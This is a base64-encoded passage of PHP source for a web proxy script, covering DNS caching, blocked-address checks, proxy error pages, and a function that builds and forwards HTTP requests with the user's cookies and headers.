CAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJ